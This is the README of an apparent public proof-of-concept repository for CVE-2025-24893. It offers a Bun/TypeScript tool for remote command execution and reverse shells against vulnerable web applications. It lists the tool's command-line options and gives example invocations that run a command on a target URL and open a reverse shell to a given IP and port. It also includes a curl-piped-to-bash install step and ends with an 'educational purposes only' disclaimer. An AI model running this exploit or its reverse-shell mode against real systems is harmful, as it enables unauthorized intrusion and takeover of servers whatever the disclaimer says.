th3gl0w/cve-2025-24893-pocExploit for CVE-2025-24893 enabling remote command execution and reverse shell on vulnerable web applications. Includes CLI options for targeting URLs, executing commands, and establishing reverse connections.
Install bun:
curl -fsSL https://bun.com/install | bash
To install dependencies:
bun install
To run:
bun run CVE-2025-24893.ts
This project was created using bun init in bun v1.2.19. Bun is a fast all-in-one JavaScript runtime.
Usage: bun CVE-2025-24893.ts [options]
Options:
-u, --url <url> The target URL to interact with.
-i, --ip <ip-address> The IP address for a reverse shell connection.
-p, --port <port-number> The port number for the reverse shell.
-r, --rverse Open a reverse shell connection.
-c, --cmd <command> Execute a specific command.
Examples:
# Execute a command on a target URL
bun CVE-2025-24893.ts --url http://example.com --cmd "ls -la"
# Open a reverse shell
bun CVE-2025-24893.ts --rverse --ip 127.0.0.1 --port 4444
This exploit and guide are for educational purposes only. Use this information responsibly and only on systems you have explicit permission to test. Unauthorized exploitation of systems is illegal and unethical. The authors and contributors are not responsible for any misuse or damage caused by this information.